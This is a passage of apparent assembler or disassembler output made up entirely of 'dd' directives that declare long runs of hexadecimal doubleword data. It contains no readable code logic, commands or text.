456C11A0h, 640505FCh, 0A323E903h, 0BF5729D0h dd 872016B9h, 8FDE0165h, 61591E30h, 0CCACC9Ah, 160B3EFBh dd 1F16FD89h, 0DDFD215Bh, 1A1B0A05h, 0AA7AC543h, 64B28FD7h dd 0B4F4DBA0h, 0D4C18707h, 4C41BDFDh, 0AEE34B18h, 2D8B9B48h dd 607FDB62h, 0BAF0E05h, 0F231B766h, 0B37080DDh, 0EE73D842h dd 4FEE48C1h, 2377E602h, 1F74950h, 0C4CEE92Ch, 0C5E4499h dd 0A190A066h, 85FF932h, 0A0BFD1C8h, 618899B0h, 2EEDF8E9h dd 2C6ECAD0h, 200190DDh, 0D7B0A866h, 576E88FBh, 60582FBDh dd 4E0496C4h, 0D3C882h, 0C95C36BAh, 0EAD14812h, 82476416h dd 0F72FE88h, 423FDC39h, 0A6F1FB02h, 1F8E448Dh, 25680730h dd 15D15C98h, 5A5E1480h, 0CC78123h, 0A543D3Ah, 6414B60Ch dd 4F8D251h, 120D4C2Eh, 13705480h, 0A61D602Bh, 0DFBBE907h dd 0BF324495h, 0E1D95E63h, 4FDF2DD6h, 4E6EC8B0h, 5A1744F0h dd 0F3A7BEDDh, 2E134175h, 5CA231A8h, 0E962275Eh, 0BA166855h dd 0C2B112CCh, 993A5496h, 0B6109305h, 0DBD4FB28h, 505F0804h dd 108CF2BEh, 5AE15Eh, 0A96532ABh, 0BA045958h, 6D1264D4h dd 9ED505AFh, 0B41FA8B1h, 0FE6F2982h, 29FC2D37h, 9E56055Bh dd 425153Ch, 0BB390D5Ch, 5A1414CCh, 817630D5h, 2F1727F6h dd 961675A0h, 5C1CCBABh, 8868833Ah, 0EFD1272Fh, 5F5E58F8h dd 9B1043DFh, 759873D0h, 43167533h, 25EFC4A4h, 5EAAFCD5h dd 0E8E1E2ECh, 2CAF2F5Dh, 0F14BA4D3h, 52B231C8h, 0BF4F9ED4h dd 25116D3Dh, 0C6386BE9h, 0E1106558h, 25785DC7h, 0EE235D66h dd 1C09ACA6h, 0F434E368h, 88A061C5h, 0EE690CEh, 0F558BF02h dd 85FC5BDBh, 6583923Eh, 0C8041F52h, 0ADBB13A0h, 8FC64A4h dd 290154EBh, 7F193D78h, 4431E393h, 0AB5FFE6Ch, 0DDAA7016h dd 0B0B42A0Eh, 2709BD7Eh, 2D5E16DDh, 925951A7h, 781581BCh dd 50E93927h, 20827AE6h, 285BC28Eh, 0FA0C65BEh, 0E4EE3994h dd 875EFB2Eh, 9142F089h, 67D15D19h, 8B797D52h, 94E89844h dd 4ECA2113h, 920308EDh, 3ABE5242h, 0FF236A0Ch, 0A2C11E6Bh dd 2FC14407h, 53397B53h, 0B69B7887h, 0F7E640B8h, 5697D014h dd 483425C9h, 81EE6D58h, 99A06F49h, 46E512FAh, 0D3DBA201h dd 688243B2h, 45F571C3h, 492826B0h, 0C749D9D7h, 0A0DDFBE9h dd 83BF662h, 2EC94C4Ch, 9F12AF4Ah, 41AF8501h, 0C6F053A6h dd 0E0222EADh, 16CE0195h, 603E486Ah, 3017653Fh, 0B808795Fh dd 125D1298h, 0EAF30E36h, 0B82FF874h, 40B10F9h, 89AF795Bh dd 185DA568h, 20E95400h, 594A74D2h, 35E409ECh, 63E4AB82h dd 1496C0h, 0D5200FBBh, 1702BE21h, 3140437Bh, 46E851DEh dd 3402D84Eh, 56320A40h, 51268250h, 6680320h, 731DD2E4h dd 7927EEDEh, 0EB3758D9h, 0D508AEB1h, 0B65207DCh, 80CEB04Bh dd 0FDA1A9E6h, 0DE28033Bh, 40E7959Eh, 0E493E986h, 3080762Ah dd 682F6677h, 9FC45D96h, 0EE13EF7Dh, 0A7FA63C5h, 5E04D5BFh dd 0E98259B3h, 1CF7AED7h, 65499D37h, 70F3E1DDh, 56185327h dd 81145E5Bh, 917401F5h, 7FE9D01Eh, 2BCE6AC1h, 0D420FD4Ch dd 0A2DC682Dh, 47EE344h, 140C231h, 99C2AD5h, 0B71F1A10h dd 0C0C781AFh, 0D58003EFh, 0ABDEFC01h, 73D69B5h, 8033B83Fh dd 598092C6h, 9E23B81Fh, 0CEBD01D0h, 3019672Dh, 415E8FC1h dd 63C99FACh, 2AB81CE1h, 0F62A26C9h, 1259351Ah, 15DE4401h dd 0A6597CA4h, 2E00757Ch, 40B9184Bh, 0E74FB4D1h, 4BB1784h dd 0B23BBAE0h, 8DA84FA7h, 0B65D5F9Ah, 77CD20B8h, 4506BF71h dd 0EFC17C26h, 5C7895F2h, 0EC3B441Fh, 7B7C471Ch, 0B9024F0Bh dd 9902DD15h, 4B44D033h, 4EE3DB3Bh, 2B21BC65h, 0B62F5473h dd 82A3DD52h, 0FF0140E9h, 6D903F4Ch, 6CECEB2Dh, 0BDD6E083h dd 83BE66C8h, 0D8D27127h, 254E7F2Eh, 9EE6A9B1h, 70ED6816h dd 0D76328BFh, 17CC3F0Eh, 982C3E43h, 0FB13E982h, 0FD1277FEh dd 2D01F2D1h, 2B3B69F4h, 74F102Fh, 3C7EB57Ch, 0A5F5CA3Ah dd 82F6082h, 17412B31h, 0A08A7F3Eh, 0C1F8C31Ch, 9DE951EBh dd 0B5A87BE5h, 65FB5B85h, 0BB12EA19h, 94C45BE8h, 84C7AD7Ch dd 32C2EB89h, 0D76801D2h, 8AD32F39h, 0D32C5891h, 80E3A831h dd 727C20C1h, 802BE841h, 3727795Eh, 28062948h, 5A5808C7h dd 0D95C129Eh, 0CB842CF9h, 1E8A10C7h, 8A525551h, 0DB395F0h dd 37E380BCh, 0CBFEE4ECh, 0A318BBB6h, 3DB8DFh, 2D4D1147h dd 0FA41DF8Ch, 575A23FEh, 0A9954DFDh, 3CB3B10h, 2813B050h dd 0F3C21EC3h, 5A60FB4Eh, 0A7E9AAB1h, 0BFE800BDh, 2506320Fh dd 0E660093Ah, 0F495F624h, 8C4C9F2h, 0AC845D4Fh, 0AF0A39C0h dd 0D0011434h, 444A072Dh, 0BA296414h, 90ED61DDh, 4CF61C24h dd 523D2DD7h, 0D303AB2Fh, 0FCC1F205h, 7455D611h, 9D9820CAh dd 528DF763h, 68AB2176h, 16416DC6h, 7B3B71Eh, 2065502Fh dd 17E47325h, 6A65E112h, 0F296BEE9h, 400976FDh, 8F2375AEh dd 0F85ED0AFh, 0FB011353h, 81EF35FEh, 2E85F073h, 0A54F0C8Bh dd 68B92074h, 7274412Eh dd 0A3F4D22Dh, 0CCFFE92Dh, 960CBD3Fh, 60A4EAB8h, 0A69CE9C9h dd 581DFE9Fh, 654D9E68h, 6B52CF2Bh, 0F4A86244h, 0BFE95097h dd 33ED8D5Eh, 0AC96859Eh, 76CAFBFEh, 0C932737Dh, 0B2FF5A2Eh dd 0B9A37597h, 82AC58C6h, 3A435965h, 634D9DBh, 7AC116F1h dd 0EA0456B2h, 0B60C89B0h, 48F1814Eh, 0AD27F658h, 4F1D6326h dd 0A1C9F9DFh, 0E801C728h, 0DABF800Dh, 200BF2D6h, 49EA0153h dd 6B1BA9B0h, 0DE11200Ch, 810B5A74h, 82A414D3h, 6E9AD9h dd 5BFD8A51h, 0FC92B09h, 8BF06880h, 11ECC0DAh, 35058523h dd 5F06220Eh, 791E689h, 0A440970Eh, 7712A018h, 25238B0Fh dd 0AC1A00F9h, 896DBED6h, 2C60299Dh, 9C21EF33h, 8B4B0E3Dh dd 0B56357C6h, 1E670F9Dh, 0ECF0AEAh, 912F9D9h, 1F8669F9h dd 0CE02E983h, 0FB49C738h, 73098A37h, 38763h, 0E2D0800Dh dd 9218F981h, 850C38BCh, 18B41F12h, 0F1BE92Ch, 6400540Ah dd 92D0C044h, 629E621Ah, 0E9DF6427h, 0AE90A46Bh, 1B006BE8h dd 96415DFDh, 0EDEF153h, 6CEA6A65h, 32026D40h, 0E001BCABh dd 19CE9410h, 0F1E4664Bh, 0BAA70734h, 1E9811F6h, 6AD2007Fh dd 0B6AA32FBh, 0CA0CF903h, 14DF19D6h, 4DEAD50h, 763053FCh dd 0E51510E7h, 0B38E000Fh, 0AB4336C7h, 0DF00CEDEh, 536C0357h dd 0C63B874h, 11871669h, 22842229h, 60425A5Dh, 21133211h dd 5BB7080Eh, 0B0844C90h, 80FA4814h, 6297BF9Eh, 0C005704h dd 73EF7016h, 81C88Eh, 1C42A3D9h, 0D6725943h, 5239D000h dd 0B7CD49EFh, 5DB600A0h, 0F712172Ah, 0CB002E94h, 4002065Ah dd 0E7A6FDh, 69392886h, 60B01838h, 21D6D4FDh, 0DA4E1700h dd 6F317799h, 27C500BAh, 0FEFAE75Ch, 1403D648h, 0D8372D9Bh dd 0AEE698CDh, 0F73ACh, 82225F55h, 0B35C63EEh, 0BEB7B10Fh dd 0C3809EBFh, 0E97BED51h, 0CA6601C7h, 48605296h, 846FE828h dd 0C591CE02h, 40DDF041h, 0ECE197h, 60C71A0Bh, 0D1FCC2DBh dd 2AE60100h, 4B149478h, 77FF26Dh, 428E156Eh, 0F3369086h dd 0B3007398h, 25FB828Dh, 60B71Ah, 0C950714Dh, 0C26F0DAh dd 18761100h, 94EE4BE6h, 6DBBA188h, 4F0420h, 0B6859D72h dd 21FA110Ah, 9179A200h, 0C7DF349Ah, 44CE00F3h, 0E61B9661h dd 400013BFh, 0B585533Fh, 1EEBE3ACh, 407D2747h, 0F6333C83h dd 0CB00FB28h, 2DCA9C1Fh, 9E6B56h, 7804D9F1h, 0B1A01AA7h dd 0C37ACC00h, 2DF67972h, 4DAB0E19h, 0EDE08809h, 18FBB511h dd 506739h, 3C44B8AEh, 0AB8471h, 2E6F2710h, 95BAC445h dd 12ADC900h, 0AC8D4AD7h, 1EA30224h, 0E5747D54h, 59AF6C40h dd 132639h, 824799F2h, 0DF028Ah, 55681BF9h, 6AD1B754h dd 7324D300h, 0CC8A6FEBh, 0BAE4007Eh, 52480F39h, 0B200A8B4h dd 3380C9C8h, 88F751h, 9D5985EEh, 539FE424h, 0F5977200h dd 374CBEC8h, 0FA1C00F6h, 526A6991h, 3A00EC6Dh, 2FDA8AF9h dd 0A5B13h, 7CA8DF39h, 0B4146280h, 3AFB9101h, 0B2E029FDh dd 0B0CD1A61h, 7AA7D424h, 391800E1h, 0A1A395E5h, 0CF0FF4A4h dd 2F9A8C76h, 354080F1h, 166AC38h, 1D1FC1F8h, 0FC6BA021h dd 0CE00498Ah, 782BB5E5h, 0E65A876Eh, 0AEF500B0h, 15F2FD9Bh dd 170EB3DEh, 0E0030A22h, 0FA29A950h, 7ED40083h, 0F269EF95h dd 86266DF5h, 64001CB3h, 8992310Dh, 3A97066Eh, 996A8CB7h dd 94B54C06h, 11051Fh, 0F60B46A9h, 0E8CBEF41h, 0FEAD1800h dd 0C08D9C6h, 6BF85Fh, 187808Ah, 0A23750AFh, 23F68200h dd 48BF89DCh, 76310FD1h, 0A680CB98h, 6110655Bh, 9B2C680Fh dd 38EBA0ABh, 901A472Fh, 0B51B002Eh, 0FA8325C7h, 0DFE22A2Ch dd 0D1F9A607h, 0E01EED08h, 4B8B154Dh, 8E8A0085h, 0C4CE1765h dd 37005A06h, 0A0B95F69h, 0EDD34FAh, 308F59DEh, 8C00190Eh dd 0FE9606BAh, 8A7792F6h, 88A0B2EAh, 74005C49h, 0D7F39FE0h dd 8C0B54h, 1D836C40h, 0B8DD22B6h, 3F3B1A0Ch, 0F010AC1h dd 62AD122Ah, 0D93E7F20h, 0D600F9B1h, 89936D40h, 906ECEB3h dd 1D811278h, 43004F4Ch, 0C5605060h, 3800E870h, 0A178516Ch dd 35DBEDFh, 0FAFC8D20h, 4E0EA0DDh, 0C17DDACCh, 0AC4BAB30h dd 0D37A880h, 0C9A7C2C5h, 90722E01h, 305D070Ah, 1C606D4h dd 2266A2A6h, 0C0F023C5h, 191D36B9h, 37400CADh, 25E7F397h dd 3933304Ah, 56E1CB7Ch, 2B19B660h, 0C316560h, 681929D3h dd 0E023B88h, 11BA4A57h, 0AFEC8E49h, 223EE445h, 646A60D0h dd 0B3BD24AFh, 5E210049h, 94884196h, 497FFC7Ch, 0A653BB00h dd 5D5F9A52h, 0BF580089h, 4CB51972h, 0C000C843h, 0AD7EB870h dd 0E1EDB4h, 16FAFD37h, 5D71C5D2h, 0E811B100h, 8640F19Ch dd 2636988Dh, 10E008h, 0BC577843h, 0C57454BBh, 2EF8D600h dd 0A1CE2414h, 0C9C0042Bh, 80E95397h, 4D4E765Ch, 108E6F1Fh dd 0DFD0C40h, 107EAED7h, 2691081Fh, 4200BEB4h, 171CDF89h dd 0B2FD002Bh, 0A14BA8DCh, 2C004790h, 0DF85C402h, 7059E219h dd 70C7004Ah, 0E1FD6DA7h, 0C200A04Bh, 0A8196C94h, 0C3BC92h dd 1A46E6E0h, 1D2D347Ah, 1159A700h, 0C7F304D0h, 7CDB09ABh dd 0A7021675h, 1C606EAFh, 0FC0063E9h, 5FFB6005h, 93BC3Ah dd 2534D1C7h, 0C09E482Eh, 0E7D9600h, 0A6DE3D32h, 71A50793h dd 1002C41Bh, 9B6E5B7Eh, 8ED2E901h, 455E6A77h, 83A460h dd 15BE8C22h, 4CEE212h, 0AE00517Ch, 30A5CDF5h, 493328h dd 9A95BD8Bh, 7650E3C4h, 99CF84Ch, 80579958h, 0FB64E798h dd 9BE100E8h, 265B98F4h, 4F317B11h, 0C389C06Dh, 0EFC366F5h dd 0F35C1A00h, 0D4320067h, 3EA7CD85h, 5D003720h, 3DDCD26Eh dd 345F346h, 0A2A4BBD1h, 0DA81E62h, 320288FBh, 0FE0A56AFh dd 82E30043h, 6F00DD2Ch, 76CABBE7h, 7DCF80h, 6023E520h dd 911F1325h, 9493CB00h, 9A7B3435h, 0F36801F4h, 0A10636E0h dd 1039E833h, 8B6BE502h, 61EB1DF8h, 7530B078h, 0EDBB3090h dd 4D059D10h, 0B7D1C900h, 1D73A8A2h, 0F65107D3h, 5CAD6962h dd 0E4F5C789h, 44002D59h, 0AEF6E903h, 41710h, 49645F8Ch dd 18436625h, 0DA005490h, 836D27FCh, 3FA0E355h, 92BF3A7Eh dd 3853007Bh, 91864B57h, 0F400FCA6h, 3F4788CBh, 988E44DAh dd 78AA7132h, 11B90017h, 5A4B2D48h, 8B00A5EEh, 9A8189D8h dd 644EE2h, 1AD24C61h, 5187DD75h, 0FB1DD612h, 0C0DE040Eh dd 0E93DC84Dh, 648600F1h, 0F623103Fh, 9F0F81C1h, 0A08B7F19h dd 50315CDBh, 868D0734h, 0B026ABA2h, 0CA0A7BA0h, 75FFEE02h dd 40E19C73h, 1F31E7C8h, 823DEB4Eh, 61B99FC2h, 8FF4E8E8h dd 818C2D39h, 4CBBE2F9h, 1428C38Bh, 130D5602h, 0E0C8E771h dd 0A004DA80h, 795BE881h, 5DEE0180h, 5B50041h, 0C457448Ah dd 0C1056ADBh, 4E1EAFBDh, 0B384A200h, 0D875D3h, 10D5028Fh dd 505FF011h, 25F61600h, 3D492396h, 0A37B0090h, 293522C0h dd 3603AB26h, 0DAFE2753h, 0FA69842h, 925A07DEh, 0D31FCCFFh dd 0B2935954h, 345BBAE8h, 0F00BF900h, 45D43AD0h, 0A32302A8h dd 18C807D1h, 0B65384A0h, 0C90E6FD2h, 4023364Dh, 8E3B9DE6h dd 0B1140078h, 667D1307h, 47ECC938h, 7FE61C00h, 0DD9780DAh dd 0DF3006Bh, 254F0448h, 0D0106405h, 0D900FAF4h, 8A0639BDh dd 162E6DCAh, 6F9EBC7Fh, 39483FBAh, 4F6100BFh, 0A81F847Dh dd 0C87724h, 355BA43Ah, 0BDB6D59Bh, 21029F03h, 3D2B493h dd 99DB1658h, 11002A4Ah, 47406D94h, 6FBCD4h, 71AA28F4h dd 0F73A6B99h, 23E61900h dd 0BB26F1CAh, 74781EFAh, 24E659h, 648EBCA6h, 116DDC3h dd 1007EACDh, 1F0317B9h, 6952B003h, 0F7850B57h, 9400222Ah dd 102CFC3Dh, 0D088D451h, 0B10012EFh, 5EE04966h, 1FCBADh dd 0DEF0FB82h, 607FD784h, 0A1AA3Ch, 0F5FE3CE2h, 0F8C98F63h dd 0E31C0575h, 845107C3h, 409E1FB2h, 0DC25CB04h, 54391DB9h dd 11200135h, 0A6FCF109h, 0E1A686F2h, 89043869h, 0A9805FBAh dd 0B5127692h, 0C8619513h, 0A58EFD21h, 714E10F0h, 0C37B15h dd 0C0340944h, 3955F9D5h, 66076D71h, 0F6B1BFADh, 88E7B343h dd 314D2Fh, 8275878Ch, 0CEEAD83Fh, 5071F000h, 0FCDE7B24h dd 36771E2Eh, 7989003Ah, 9BAD32D2h, 2F54C505h, 88006EEh dd 1AA6E9h, 734B5EB9h, 0EFDBBB4Eh, 9D4315Ch, 14DEAB2h dd 0B0ACCF5Ch, 2EE21BC4h, 1408EFBDh, 858D090h, 0C2010073h dd 766E40B1h, 5400A76Fh, 0C30DB2CDh, 1665394Ch, 0C5B75Ch dd 77FD06BFh, 0C90782B6h, 9263D4Eh, 0D5C0DC5Fh, 0D4E77C93h dd 33D700F8h, 0E0EC5E32h, 0B507A4BDh, 0B36E833Fh, 7A11F500h dd 44520031h, 0A52F616Ah, 0B774C0FBh, 768B481Fh, 65E79580h dd 0C75514h, 61E65F2Bh, 40A13B0Dh, 5610F400h, 3AC630EAh dd 153F0F2h, 0D2859BE4h, 2E9D7B9Fh, 2F569601h, 1189F642h dd 5D00F7CBh, 0A477393h, 1011CEEh, 516D56BDh, 85C4A76Ch dd 0C0AA03D1h, 27FF14BCh, 355CAD98h, 0E72C9100h, 0F52FEBD5h dd 0E5690007h, 0C65FF2C5h, 47744686h, 0B3906800h, 2E1A1B56h dd 8B7900A2h, 66D7F155h, 69908C12h, 3286F91Fh, 0CBECA040h dd 4A5E38h, 817144AFh, 4D74482Fh, 0B6A503Bh, 80BC1022h dd 0CF4902B8h, 906C02B9h, 0E3ADCE9Ch, 12DEAA60h, 50C70703h dd 0CF9F9E68h, 70C11DF4h, 0A0C775F3h, 94A9281Eh, 0CD42094Ch dd 31E53C00h, 0FDE279ECh, 262F8501h, 7BD4F706h, 4600502Ch dd 6B3A91FEh, 50900CD3h, 380EA512h, 579A00C0h, 0DA100028h dd 1BB3E189h, 67022D4Eh, 157AC36Dh, 0C650C0BEh, 1E5F0B08h dd 51005C78h, 0BC05AB28h, 34FAD400h, 0A34D8B0Ch, 40394C5Ah dd 0C715D30Fh, 9A678018h, 32A38E48h, 27211B9h, 8227CA34h dd 9598FF80h, 4D6F00B5h, 0C5A1E81Fh, 6E01EBDAh, 105EA464h dd 96E13708h, 0CE003908h, 65DEE71Ch, 0EC02D1F3h, 9EE2E86Eh dd 0BC390FA0h, 0F5357B83h, 0F03CB5B9h, 0E7F8D19Eh, 0C002E4Bh dd 89EB386Ah, 0C0363EBBh, 3F0C2B28h, 0A0D4A02Eh, 0D17613ECh dd 7EB9013Ah, 0C87565DCh, 8E071740h, 692AE1B3h, 478BC650h dd 0A0930023h, 214D1B26h, 0CB00124Fh, 0BC167195h, 0F85306h dd 0DCB420E9h, 0B1CF4583h, 9159D901h, 566A2CC9h, 5304E8CFh dd 28B00ECEh, 0E921CAE1h, 0CC401082h, 1CEEEC9Fh, 0B907F4E9h dd 0A2197700h, 86C09D3Dh, 0CA060070h, 0AEF1E52Ch, 0EE00952Ah dd 0B9081DD1h, 778694F3h, 19985Fh, 33A02BF1h, 0F531C32Dh dd 0C7E5190Ch, 75C5F1F2h, 8DE00FEDh, 7405B38Ch, 968C20EEh dd 48816656h, 0CEBEAD0h, 0B5EF750Eh, 0DF0C1721h, 11E353ABh dd 991D042Dh, 18E73279h, 30B07638h, 5E490396h, 0BC189EA4h dd 0CF816E63h, 0C7F3189Ah, 0A8E51179h, 0EAEDE208h, 0D4650E72h dd 6C4F24E2h, 8A492013h, 34E57844h, 40C0AEE8h, 6EA33050h dd 3A88C253h, 191F264h, 0BAF5E4CFh, 0C0B6753Dh, 0FFFADF18h dd 87E56600h, 2CA20E70h, 7811FCEFh, 46FA0188h, 0D5AFF4C3h dd 0D32C20E7h, 7A16238h, 0BD331BDEh, 32F76C00h, 0A4A050D0h dd 0F3363CDDh, 1060983Eh, 9C684C9h, 0BDC20D01h, 6AAB21F6h dd 0F9943BE0h, 0C0ED28C1h, 0A06622F0h, 9801B814h, 0ADAF0000h dd 2ED02669h, 0D6069FD5h, 72439C30h, 0DF6501C8h, 8B2361B6h dd 6A8880B7h, 0BDB5F821h, 1E9F0938h, 9C21B179h, 83811832h dd 33036B90h, 696C996Dh, 90BE3AE8h, 8970E004h, 31FDECD9h dd 228820A7h, 9FF5C06Ah, 0BC246649h, 0FE40CC95h, 3082DBFh dd 0B18EBA68h, 830AA5Fh, 0B82021F2h, 1823B02Dh, 0C0D84BFBh dd 10C46DF5h, 3001B49Fh, 8B98E833h, 5F12178h, 0D400E186h dd 0EC3B1415h, 0EB90389Fh, 2F0200FBh, 652CBA25h, 1251571Fh dd 0BB5440E0h, 0CD88B152h, 0C829003Ch, 6E8A5336h, 8DE232Eh dd 34F32170h, 21A60029h, 0A466C154h, 9315C2CEh, 6908C42h dd 0E85BEB6Bh, 2D072A0h, 7E69D3B6h, 48486FC7h, 0E57A06FCh dd 497AEA09h, 4A50811Dh, 408F7F88h, 0B100B637h, 0D6F7F102h dd 0CF540B51h, 1115A2C3h, 2494E395h, 0C68CA05Eh, 966177h dd 0E783F763h, 35525521h, 0BB41904h, 0A5A034EFh, 39A11DF4h dd 30FD8EB6h, 0F22BC8Eh, 482C2C0h, 0C8A16A0Bh, 2486E7EDh dd 989152B0h, 8340C000h, 7BFD6711h, 28AF07E3h, 0E08AD666h dd 8DBBCCD0h, 0D7CF504h, 0BDC0C440h, 6052B82Eh, 0C9CF41B9h dd 98007541h, 7CBB8401h, 28241Ch, 0B7691B7Dh, 7996EE07h dd 0E9EB3C31h, 0E1806DC7h, 0CFAC9A16h, 1B03A3BCh, 0F1F3BE39h dd 13C2F802h, 0AF4C0060h, 6DD0D412h, 9F249438h, 4C398884h dd 51E5305Ch, 0D4161h, 0D437B1C4h, 0DF0367B0h, 0D2DCBF50h dd 74273C03h, 2E4973Ah, 0B85C3B31h, 0F448AFFFh, 7805AE6Dh dd 70E5EDBDh, 6AF59041h, 842268B8h, 6605E10h, 8E1042F3h dd 0C6711418h, 748CCAh, 0B82F0ECBh, 96EDFFBAh, 0F805C434h dd 0EE00826h, 2571FDCBh, 0C5EA0282h, 74982840h, 3F111909h dd 58AC82A6h, 0FADF0068h, 0C8C9D6CBh, 0B81C04C2h, 8397098h dd 3B36C529h, 0F040C3C4h, 68D42931h, 81CBFB3Ah, 0FFF12259h dd 0AC20E352h, 20440CFDh, 8E6E6ED9h, 0C4B42D13h, 11C6BC0Bh dd 988E594h, 6500784Eh, 472A584Ch, 6C571D64h, 770D002Dh dd 2F879EAAh, 0D89853B0h, 8D0C247Dh, 50F582BBh, 12D68870h dd 0C3588A00h, 4097D88Fh, 0EC962A77h, 22B300CCh, 0D51D74ABh dd 13CAE51h, 1726899Dh, 0D00C10C4h, 0ACD92467h, 61A83B10h dd 28C648F8h, 0F06E5E87h, 7BE224D7h, 2CD0383Eh, 86015E66h dd 4F2307CAh, 3880A035h, 7758E744h, 2401CE1Fh, 0CA0C897Ah dd 9182F095h, 0A6A150B7h, 2653C2C0h, 47C8320Fh, 0C0B9C0FFh dd 1215EE17h, 43400888h, 14329824h, 0FD1AE089h, 28689ED4h dd 0D2BF2C80h, 75637C3Ah, 74E4041Ch, 1DEB3EDh, 88BF9BD6h dd 60F86C20h, 0C436D8C1h, 0C3738FFDh, 876C3816h, 3A646840h dd 585D6A14h, 0CA108CAAh, 0FF6E056Bh, 0EC04F002h, 50C8C805h dd 40951E2Ch, 256D805Bh, 0FEBA943Ch, 797FE090h, 2971C630h dd 2E5792F6h, 32D8438h, 0C51D6ECAh, 5F20D5C4h, 1774C410h dd 61C08992h, 4A941046h, 0EA1CC275h, 824032DFh, 0FFBF1FDBh dd 610F03E4h, 79D77437h, 0D2C33803h, 0E61F29A4h, 0EB3626C8h dd 41EF1E90h, 68F0E6F4h, 2C7297h, 52584490h, 232D4F8h dd 0F5694994h, 0CC4A9C42h, 0C88358C2h, 11246D28h, 2E0F6069h dd 6504304Eh, 0CCA2058Ah, 9CCEB2Ch, 7AA2183h, 4C19A1FDh dd 3DC6303Ah, 81C0E697h, 76D06EBh, 0A399003Fh, 4A5E7115h dd 25034555h, 9A6036BBh, 46D7F88Eh, 9BD818D1h, 7F2E93Bh dd 8A91B603h, 0B1A93870h, 0F850BB53h, 7021026h, 0B85848F3h dd 8EC3D0CCh, 9C94B3F1h, 0BA46F428h, 0C7293B02h, 0C4314B36h dd 2933F210h, 2BD82700h, 0AFAD6298h, 870710EFh, 643606FDh dd 4C988BB3h, 0F04830A5h, 0C8583048h, 6B4E16C0h, 0D9FC10A6h dd 2CCDD600h, 6AE3F4F2h, 55760BBDh, 0D8034638h, 0C484C62Bh dd 88B8CE48h, 0F62FC0C7h dd 6C03D66Bh, 0C94FAF1Fh, 0D02001AEh, 42F1CF38h, 6CEF7039h dd 0EBB0B0C0h, 1AD5A7Bh, 9736FE9Fh, 85F75F1Fh, 67C42DD8h dd 13751CDCh, 20C77629h, 23B40C60h, 0C44F9F3Dh, 6045007Ch dd 715E6E92h, 5C7BB9D7h, 1306BAE6h, 3918BC99h, 19EF0B9h dd 0DF386BE1h, 0A6373BEFh, 4E0CB419h, 0FE625174h, 36EC2Bh dd 2CEB063Eh, 5E244558h, 753DA50Eh, 10C8099Bh, 3EEBB4h dd 5D69A710h, 0B9992D47h, 0A13D5E20h, 0F21072DCh, 4D0004AFh dd 0F3510B93h, 5D566EC9h, 4927806h, 1976F0Ch, 199EEFF2h dd 50D1897h, 0DA3BD9h, 2D90EBD4h, 0D80C7987h, 0B96F4E3Fh dd 0A97A3A2Bh, 0A02F2487h, 3679A19Dh, 604861BFh, 0F8CC1F0h dd 680D2DC4h, 80F58831h, 1E2DBD25h, 4C00CDB7h, 0C0546014h dd 201B0213h, 0B082DD0Fh, 0CC505C43h, 6630FFF8h, 0AFACB006h dd 0C7B4C5D0h, 85804769h, 0EF3DD3C8h, 0E62882B5h, 807C2CC9h dd 70C0AB21h, 74867E98h, 0F3E40E24h, 76358B2h, 580C5552h dd 316669BCh, 226B4B1Dh, 106C2F2Ch, 0BFA20604h, 0AB38F9F3h dd 1AA1FE12h, 673A2B00h, 0F89B6368h, 206C984Dh, 0F01F863Bh dd 3CE4BD2Bh, 7523CB40h, 0FF97094Bh, 5800FBFAh, 0ED5E9F38h dd 6EBC6A10h, 73DADE00h, 74879C30h, 806548C9h, 0F5B92ECBh dd 75972F6Dh, 0EFEE2C80h, 48D3ED06h, 2A962404h, 93D6400h dd 2718E937h, 0AD20E8CFh, 0BA7D3852h, 37C42053h, 21756026h dd 4B4E98A0h, 93AC4152h, 0D0CE3422h, 0BC9819CCh, 258B2820h dd 0DCA04F36h, 3961226Fh, 0EFED0702h, 426DEBBAh, 81840904h dd 0C3E24CB0h, 0D0049004h, 0EB7A7C6Ch, 0F508E0B2h, 806EC6C5h dd 1B1CB74Eh, 902D756h, 62F3B621h, 4858B4h, 70EBC43Ch dd 0C2E6CAFBh, 0A41B673Dh, 1FBE74D2h, 0B28038BEh, 0C6362544h dd 42290F5Fh, 0CA42FD5Ch, 34C01261h, 10900503h, 4F320E12h dd 11C0E420h, 962A070Dh, 93750466h, 0F5B06E56h, 6761E862h dd 414E5F80h, 0A6D081C8h, 69E50094h, 0B2EC14ADh, 421093C0h dd 38007A84h, 7F812AE7h, 964BD408h, 0BFAF8840h, 0E6255655h dd 374F00D6h, 5315947Ch, 0D1A0CC17h, 0F61F7298h, 0A177EAEDh dd 71D6E6h, 0E05968C3h, 2C88FBF3h, 8D16561Dh, 1B123201h dd 8840CAA7h, 4DDFD53h, 0B06E6965h, 0D09CC091h, 8C00DE04h dd 53DA77BFh, 3AB41B39h, 184A2C3h, 0FBA84ADBh, 749A8900h dd 90543Fh, 0A244486Bh, 0AC664065h, 3ADB670Eh, 633E81A1h dd 4FE05082h, 497403A9h, 437A7E6Ch, 0D04439A1h, 6D009C5Dh dd 28D4D29h, 7DA76132h, 9E5B1E4Eh, 8F5DC770h, 0A26BF067h dd 0F8784871h, 1F3C38AEh, 3F781D6Ah, 24511829h, 3B76088Fh dd 3CB09C0Ch, 4E6BB100h, 2B02A447h, 65A8006Ah, 51394624h dd 9C74674Dh, 7A4C303Ch, 0AD615301h, 7DF8294Bh, 5788D187h dd 728C802Fh, 98A84623h, 4AF38F7h, 0FD70EA06h, 7D640710h dd 80FEBC25h, 0B2C287C5h, 2B075D00h, 9554BE85h, 513F0C1Ch dd 5B30F943h, 0FACEF70Ch, 1C6B1894h, 68EEF6F3h, 0BCDB4808h dd 795F8E0Fh, 47E126C0h, 2CA0B738h, 361C8DDAh, 3754FD09h dd 882DCD0Ch, 60AA0C1Ch, 8BFB3002h, 59C3E45Fh, 0FEABE84h dd 7D685179h, 6A8841F8h, 0D981E9C1h, 1985318Dh, 426806A2h dd 0DE6C8878h, 3BA35884h, 0F91D8BF2h, 66FC0EB6h, 97855887h dd 230F317Ch, 947F7E1h, 66CC20E5h, 0C7267295h, 55C5BB28h dd 5D2D8181h, 380C40B5h, 3495F10h, 0D68200F4h, 3F19FF3Bh dd 489D2E84h, 7B9E05D7h, 10C07F6h, 904484EAh, 139FC3FCh dd 75B1C00h, 8B8DBB5Eh, 0BCBA14DDh, 0DB050CBFh, 450DBD06h dd 778C98h, 5AFC7A58h, 64A7FB64h, 9D403644h, 0C687C258h dd 0BC048CAAh, 5F8F2021h, 30B8A44Ah, 0B88003A1h, 0F0617001h dd 8E3D6119h, 947F84Ch, 0F84506A3h, 20BD5C84h, 41EAEEF7h dd 0F570C094h, 0F6C14061h, 8C4CE2DFh, 0E4358A45h, 3AC59901h dd 